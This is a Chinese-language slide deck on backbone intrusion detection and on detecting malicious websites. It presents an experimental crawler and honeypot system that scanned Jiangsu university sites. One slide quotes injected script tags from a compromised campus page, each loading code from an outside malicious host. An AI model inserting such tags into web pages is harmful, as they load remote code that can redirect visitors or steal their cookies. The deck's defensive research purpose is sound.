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TopicsTopics

• 网络安全监测

• 恶意代码检测

• 我们的检测实验
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入侵检测与安全监测入侵检测与安全监测

• 网络入侵检测-对于违反安全策略的访问行为

的感知
– Snort官方规则库里的约2200条规则中策略性规则
数约占用规则总数的15%左右

– NIDS vs. HIDS
– 越靠末端效果越好

• 网络安全监测-对于网络安全威胁的感知

– Ad Hoc
– Network-based vs. Host-based
– 越靠主干越好
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问题背景的变化问题背景的变化

• 攻击模式从传统的单点攻击向系统化攻击演化

• 网络安全防御的有效性
– Detecting intruder vs. Diagnosing the infected

• 传统的入侵检测模式无法有效满足网络安全防御的
需要

– 关联信息的异构性

– 广泛部署的可操作性

• 传统的入侵检测技术不适于主干网检测的需要

– 性能、功能、环境信息的可用性，等等。
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主干网入侵检测的特点主干网入侵检测的特点

• 检测目的

– 隐患的发现

• 保护对象和视角

– 更粗的粒度和更宏观的范围

• 检测方法

– 要求可扩展性甚于准确性

• 检测结论

– 不是简单的二元判断
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面临的挑战面临的挑战
• Anomaly-based vs. Misuse-based

– 在驻地网中Misuse-based的检测更好一些，但在主干网中

呢？

– 网络粒度的影响

• More Scalable：Performance & Data Volume
– 开源：SOCs vs. COTS
– 节流：流量预处理

• More Precise：更多的语义细节和更准确的规则描述

– 新的的检测方法：网络流量行为与入侵检测结论的数据融
合

– 新的的结论形式：安全状态评估与威胁分析

• 与网络运行管理的结合：运行保障的概念
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恶意网站威胁恶意网站威胁

• 恶意网站是指利用IE漏洞，嵌入恶意代码，在用

户不知情的情况下，对用户的机器进行篡改或破
坏的网站。

– 对于弹出插件或提示用户是否将其设为首页的网站，
因为需要用户选择确认，则不被定义为恶意网站。

– 传播有害代码的主要手段
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恶意网站技术原理和实现机制恶意网站技术原理和实现机制

• 内嵌HTML标签：最为简单和常见的流量重定向机
制：iframe嵌入外部页面链接

• 恶意script脚本：利用script脚本包含网页木马

• 内嵌对象：调用第三方应用软件或浏览器帮助对象
（BHO）的内嵌对象

• ARP欺骗挂马：对同一网段中其他主机进行ARP欺
骗，进行中间人攻击，在web请求反馈页面中插入
iframe等重定向代码

• 服务器端ARP欺骗挂马
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目前常用恶意网站检测方法目前常用恶意网站检测方法

• 利用Google的恶意网站标注或者其他方法来建立自己的恶意网站黑名单

数据库，对客户浏览网址进行模式匹配。

– 优点：简单易行。缺点：过分依赖第三方软件，没法获取真正的带有木马下
载的恶意链接。360安全卫士

• 网页脚本行为检测：对网页代码进行分析，识别被挂马网站中的内嵌页
面链接，对加密混淆的恶意网页进行识别和解密，对解密后的网页代码
进行特征匹配，从而检测出网页木马。

– 优点：误报率低，能够获取真正的恶意链接，为僵尸网络的发现提供支持，
缺点：加密网页的解密不易，某些挂马方法不能很好识别。瑞星

• 驱动蜜罐主机访问待测主页，根据监控到的系统动态行为判定蜜罐系统
是否被植入木马确定待测网站是否挂马。

– 优点：误报率低；缺点：人工操作为主，效率低；分析一个网页是否挂马的
平均时间是1-3分钟。实验室常用的检测方法
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StopBadWareStopBadWare
• StopBadware.org is coordinated by Harvard Law 

School’s Berkman Center for Internet & Society, 
and is supported by several prominent technology 
companies including AOL, Google, Lenovo, PayPal, 
Trend Micro and VeriSign. Consumer Reports 
WebWatch serves as an unpaid special advisor 

• 数据来源：Google，合作厂商报告

• 检测方法：静态页面分析和HoneyPot联合使用

• 检测效果：

– 给出域名所属的恶意网站地址。

– 给出恶意网站的行为分析
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StopbadwareStopbadware

http://www.stopbadware.org/
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瑞星恶意网站监测网瑞星恶意网站监测网

• 数据来源：瑞星防病毒软件报告

• 检测方法：利用驻扎在主机上瑞星防病毒
软件监测和用户举报

• 检测效果：

– 给出域名所属的恶意网站地址

http://mwm.rising.com.cn/
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瑞星恶意网站监测网瑞星恶意网站监测网
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ZoneZone－－HH
– 数据来源：用户提供

– 检测方法：不详

– 检测效果：

• 给出黑客入侵域名的记录，包括入侵时间、黑客名
称、被入侵页面地址

http://www.zone-h.org/
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ZoneZone--HH
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一个实验系统设计一个实验系统设计
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该系统主要通过2个方法来定位恶意网站：
• 通过Spider系统主动爬取指定网站，抓取页面给静态

页面分析进程分析

• 对于可疑的网站交由HoneyPot进行主动访问，对访问

过程中系统发生（进程数增加，注册表被修改之类）
异常行为进行监控分析

• 恶意网站分析确定后存入Black List DB,反馈进程定期
反馈此db数据给PD，以此监控这些url的visitor的信
息记录入库，通过读取Visitor DB可以实时了解恶意

网站的访问情况等信息。
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Spider系统获取网站地址的方法：
• 由于目前大多数DNS服务器对反向解析并不支持，所

以通过在网络边界捕捉DNS报文建立IP地址和域名的

对应关系库

• 通过各个学校的IP地址范围确定每个域名所属的学校

• 通过NBOS系统观测到网络中活跃的Web服务器地
址，并将服务器地址通过IP域名库转换为域名

• 将得到的域名作为Spider系统捕捉网页的入口
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静态分析的主要工作流程静态分析的主要工作流程
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实验结果实验结果

• 在江苏省网边界对江苏省内92所高校进行

扫描实验
– 抓取网页数量 59421张
– 扫描时间:1273秒
– 报警 381个

• 分布于18个学校31个域名的381个页面

• 主要分布在院系一级网站和社团类型网站
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实验结果实验结果

• 目前发现的网页恶意代码类型

– 网页重定向：利用js进行挂马，然后把访问者重定

向到真正的充满恶意代码的主页

– 骗取流量：通过js代码让用户在不知情的情况下访

问黑客自己的网站，以刷高自己网站流量用来换
取高额广告费的目的

– 窃取资料型(ASPProx)：通过在用户浏览器中执行
js代码窃取用户Cookie中的信息

– 入侵：系统配置修改或页面修改
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rcls.seu.edu.cn/mentalhealth/pagesrcls.seu.edu.cn/mentalhealth/pages//
– 页面被插入指向恶意网站的链接

……
<a onClick='return newwin(this.href);' href='KnowledgeView.asp?id=41'>解读生命
的三组密码"></title><s"></title>
<script src=http://s.see9.us/s.js></script>
<!--</a><tr><td width='50%' id='jile'>
<a onClick='return newwin(this.href);' href='KnowledgeView.asp?id=30'>小议大学
生心理困扰之---人际关""></title>
<script src=http://s.see9.us/s.js></script>
<!--</a><tr><td width='50%' id='jile'>
<a onClick='return newwin(this.href);' href='KnowledgeView.asp?id=26'>大学生心
理问题之情感分析"></ti"></title>
<script src=http://s.see9.us/s.js></script>
……..
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和和StopbadwareStopbadware比较结果的分析比较结果的分析
• StopBadware的优势

– 借助Google强大的搜索引擎，Stopbadware的目前的搜索

结果好于实验系统，实验系统未报出的警报很大程度是因
为没有搜索到对应的网页。

– StopBadware也借助了Honeypot系统，对于采用编码技术

隐藏攻击代码的网页也有较高的检测率。

• 实验系统的优势
– 由于隐私控制， Stopbadware的分析结果只包括域名信
息，即该学校的域名下有那些子域名对应的Web网站被感

染，没有具体被感染网页的信息。而实验系统可以给出域
名下具体被感染网页的具体内容供进一步分析使用。

– Stopbadware的信息更新不及时，有误报和漏报。
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后续工作后续工作

• 实验系统的完善

• 构成CERNET/CERNET2安全监测系统的

一部分

• 转为NJCERT的日常工作

• 争取CCERT和COST的支持
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谢谢！谢谢！


